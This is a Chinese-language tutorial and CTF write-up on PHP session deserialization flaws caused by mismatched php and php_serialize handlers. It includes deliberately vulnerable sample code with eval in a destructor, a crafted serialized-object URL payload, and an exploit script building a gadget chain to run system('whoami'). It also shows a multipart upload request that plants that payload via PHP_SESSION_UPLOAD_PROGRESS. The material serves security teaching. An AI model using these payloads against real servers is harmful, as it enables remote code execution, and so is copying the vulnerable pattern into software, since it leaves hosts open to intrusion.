php存储session有如下三种模式 :
1、php_serialize
2、php
3、binary
php中session文件存储的位置根据php.ini里面设置session.save_path存储的位置来决定的
设置SESSION序列化规则根据php.ini里面的session.serialize_handler来决定的
在LINUX中 当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp),具体还要看管理员的设置
注意,php_serialize在5.5版本后新加的一种规则,5.4及之前版本,如果设置成php_serialize会报错
session.serialize_handler = php 一直都在 它是用 | 分割
session.serialize_handler = php_serialize 5.5之后启用 它是用serialize反序列化格式分割
以 php 存储session的情况如下:
测试代码:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = 'aaaaaaaaaaaaaaa';
结果如下:可以看出,当SESSION存储模式为php的时候,它的存储规则为SESSION中元素的名称 | s:SESSION元素中的字符串的数量:"SESSION元素中的字符串";
也就是 键和值中间用 ' | ' 来分割
以 php_serialize 存储session的情况如下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = 'aaaaaaaaaaaaaaa';
结果如下:可以看出,当SESSION存储模式为php_serialize的时候,它的存储规则为跟正常的序列化函数serialize规则是一样的
SESSION文件命名规则:sess_sessionid
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。常见的比如存入session时用的处理器为php_serialize,反序列化时用的处理器是php
观察如下两个文件,发现指定了不同的session处理器进行处理,写入的时候为php_serialize,读取的时候为php,那么此时就有可能造成SESSION反序列化的操作
文件A:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
文件B:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
访问A文件:http://127.0.0.1/A.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此时存储的值为如下:
a:1:{s:6:"spoock";s:48:"|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";}
那么当session处理器模式为php的时候,它的处理方式为键值方式,a:1:{s:6:"spoock";s:48:"
为键,O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";}
为值
此时$this->hi
的值就为echo "spoock";"
,传入的数据会按照php_serialize来进行反序列化,最后带入eval被执行输出
再来看一道CTF的题目
需要先知道的是:
session.upload_progress.enabled,当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。
当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在$_SESSION中获得。
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。
假如说正常服务器php使用的是php_serialize处理器时,若post:name=xiaoming&passwd=123456|aaaaaaaaa
,
则session中存的就是a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:16:"123456|aaaaaaaaa";},若还用php_serialize读取数据的话还能读取到正常数据
但若以php处理器读取时得到的就是键为a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:16:"123456,
值为|后面的序列化字符串反序列化后的数据(因为php处理器存储的格式是:键名|反序列后的值)
当前代码的话没有向服务器提交数据,但是现在session.upload_progress.enabled是开启的,所以可以通过上传文件,从而在session文件中写入数据
注意:复现的时候session.upload_progress.cleanup记得为off,因为on的时候一旦读取了所有POST数据,立即清除进度信息,默认是开启的!
exp:
<?php
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo3{
public $varr='system("whoami");';
function execute(){
eval($this->varr);
}
}
var_dump(serialize(new foo1()));
?>
那么先模拟上传包
------WebKitFormBoundaryAZdoD8jYWW22EPEX
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:17:"system("whoami");";}}}
------WebKitFormBoundaryAZdoD8jYWW22EPEX
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
123
------WebKitFormBoundaryAZdoD8jYWW22EPEX--
当前记录当前的session值:a2bara3rc31u9juofds23benu2
此时session文件中的值为:
然后再去访问index.php,该文件解析session模式为 php,所以我们在上传的时候前面需要添加|
来进行识别,|
后面才是主要的内容
命令执行成功
参考文章:https://www.jianshu.com/p/fba614737c3d
参考文章:https://www.jb51.net/article/107101.htm